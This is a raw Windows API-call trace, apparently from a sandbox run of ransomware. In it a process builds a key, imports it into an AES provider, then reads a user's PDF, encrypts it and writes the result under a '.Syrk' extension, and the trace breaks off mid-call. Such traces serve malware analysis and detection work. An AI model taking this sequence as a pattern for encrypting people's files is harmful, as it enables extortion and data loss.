0x20 [0213.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0213.967] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.968] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0213.968] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0213.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0213.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0213.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0213.969] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.969] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0213.969] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0213.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0213.969] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.969] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0213.969] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0213.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0213.969] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.969] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0213.970] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0213.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0213.970] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.970] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0213.970] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0213.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0213.970] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.970] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0213.970] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0213.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0213.970] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.970] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0213.970] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0213.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0213.971] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0213.971] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0213.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0213.971] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0213.971] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0213.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0213.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0213.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0213.972] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0213.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0213.972] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0213.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0213.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0213.972] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0213.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0213.972] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0213.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0213.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0213.972] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0213.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0213.972] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0213.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0213.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0213.973] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0213.973] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0213.973] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0213.973] EtwEventActivityIdControl () returned 0x0 [0213.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0213.975] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0213.975] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0213.975] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0213.977] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4d298) returned 1 [0213.979] CryptImportKey (in: hProv=0x5c4d298, pbData=0x23f2fe8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c68d40) returned 1 [0213.979] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0213.980] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.980] EtwEventActivityIdControl () returned 0x0 [0213.980] EtwEventActivityIdControl () returned 0x0 [0213.980] EtwEventActivityIdControl () returned 0x0 [0214.032] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf")) returned 0x20 [0214.035] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf")) returned 0x20 [0214.035] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0214.036] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", lpFilePart=0x0) returned 0x4e [0214.036] EtwEventActivityIdControl () returned 0x0 [0214.037] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.039] EtwEventActivityIdControl () returned 0x0 [0214.039] EtwEventActivityIdControl () returned 0x0 [0214.039] EtwEventActivityIdControl () returned 0x0 [0214.043] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0214.043] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", lpFilePart=0x0) returned 0x4e [0214.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0214.044] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0214.044] GetFileType (hFile=0x42c) returned 0x1 [0214.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0214.044] GetFileType (hFile=0x42c) returned 0x1 [0214.045] EtwEventActivityIdControl () returned 0x0 [0214.045] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.046] EtwEventActivityIdControl () returned 0x0 [0214.046] EtwEventActivityIdControl () returned 0x0 [0214.046] EtwEventActivityIdControl () returned 0x0 [0214.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0214.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf.Syrk", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf.Syrk", lpFilePart=0x0) returned 0x53 [0214.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0214.050] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0214.052] GetFileType (hFile=0x44c) returned 0x1 [0214.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0214.052] GetFileType (hFile=0x44c) returned 0x1 [0214.052] EtwEventActivityIdControl () returned 0x0 [0214.052] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x24078d8 | out: pbBuffer=0x24078d8) returned 1 [0214.054] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0214.054] CryptDuplicateKey (in: hKey=0x5c68d40, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c69440) returned 1 [0214.054] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0214.055] CryptSetKeyParam (hKey=0x5c69440, dwParam=0x4, pbData=0x2408c04*=0x1, dwFlags=0x0) returned 1 [0214.055] CryptSetKeyParam (hKey=0x5c69440, dwParam=0x1, pbData=0x2408bd0, dwFlags=0x0) returned 1 [0214.055] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.056] EtwEventActivityIdControl () returned 0x0 [0214.056] EtwEventActivityIdControl () returned 0x0 [0214.056] EtwEventActivityIdControl () returned 0x0 [0214.062] EtwEventActivityIdControl () returned 0x0 [0214.063] ReadFile (in: hFile=0x42c, lpBuffer=0x240b84c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x240b84c*, lpNumberOfBytesRead=0x5a2e6fc*=0xaac0, lpOverlapped=0x0) returned 1 [0214.067] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x241f864*, pdwDataLen=0x5a2e6f0*=0xaac0, dwBufLen=0xaac0 | out: pbData=0x241f864*, pdwDataLen=0x5a2e6f0*=0xaac0) returned 1 [0214.069] WriteFile (in: hFile=0x44c, lpBuffer=0x24079b4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x24079b4*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0214.108] WriteFile (in: hFile=0x44c, lpBuffer=0x2420850*, nNumberOfBytesToWrite=0x9ad4, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2420850*, lpNumberOfBytesWritten=0x5a2e6d4*=0x9ad4, lpOverlapped=0x0) returned 1 [0214.111] ReadFile (in: hFile=0x42c, lpBuffer=0x240b84c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x240b84c*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0214.111] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x242a330*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x242a330*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0214.111] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x242a34c*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x242a34c*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0214.111] WriteFile (in: hFile=0x44c, lpBuffer=0x24079b4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x24079b4*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0214.111] CloseHandle (hObject=0x44c) returned 1 [0214.114] CloseHandle (hObject=0x42c) returned 1 [0214.115] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.115] EtwEventActivityIdControl () returned 0x0 [0214.115] EtwEventActivityIdControl () returned 0x0 [0214.115] EtwEventActivityIdControl () returned 0x0 [0214.127] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf")) returned 0x20 [0214.132] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0214.132] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", lpFilePart=0x0) returned 0x4e [0214.133] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0214.133] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0214.133] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0214.133] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0214.133] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0214.134] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0214.134] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0214.134] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0214.134] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0214.134] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0214.134] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0214.134] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0214.135] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0214.135] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0214.135] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0214.135] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0214.135] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0214.135] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0214.135] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0214.135] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0214.136] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0214.136] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0214.136] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0214.136] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0214.136] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb" (normalized: 